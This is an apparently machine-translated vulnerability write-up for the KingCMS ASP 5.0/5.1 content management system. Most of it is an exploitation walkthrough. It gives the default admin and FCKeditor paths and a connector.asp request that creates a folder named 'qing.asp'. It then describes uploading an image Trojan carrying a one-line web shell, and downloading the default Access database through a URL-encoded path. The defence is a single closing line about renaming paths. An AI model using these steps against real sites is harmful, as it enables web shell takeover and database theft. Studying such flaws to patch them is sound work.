KingCMS ASP 5.0/5.1 Vulnerability Analysis and Solution

KingCMS ASP is a very good CMS system based on the ASP + ACCESS architecture, with all static processing at the front end, the new generation of KingCMS provides a better interface, more room for development, and more powerful scalability, which is also welcomed by many webmasters. However, if the system is not correctly set, a fatal weakness will pop up, especially for lazy webmasters.

The vulnerability is not counted as 0-day, but has the harmful effect of 0-day, mainly because the system uses the FCKeditor editor to change the background path and editor path, you are familiar with the vulnerabilities in this editor. The following describes how to use them.

Prerequisites: the Administrator has not changed the background path and the FCKeditor editor path.

Background address: The default value is/admin/system/login. asp. Enter the admin path to automatically jump to the logon port.

Editor path:/admin/system/editor/

How to: Access http://www.xxx.com/admin/system/editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp? Command = CreateFolder & Type = Image & CurrentFolder =/qing. asp & NewFolderName = qing. asp. Then, create a plaintext qing. asp folder under the/up_files/image/directory.

Then access http://www.xxx.com/admin/system/editor/FCKeditor/editor/filemanager/browser/default/browser.html? Type = Image & Connector = .. /.. /connectors/asp/connector. asp: select the created qing. asp folder and upload an image Trojan. You can upload an image containing one sentence and connect it with a client.

In addition, the system background is also quite fragile. If you can successfully log on to the background and use webshell, there is a webftp function in the background and you can upload any file. The default database address is/db/King # Content # Management # System. mdb. When downloading, replace # With % 23 and download it.

For the keywords of the system is not determined, the main is the system is not good to determine the keywords, front-end all static, interested friends can go to the official website to download a study, the official site address: http://www.kingcms.com/

 

Temporary solution:

Change the background path and FCKeditor editor path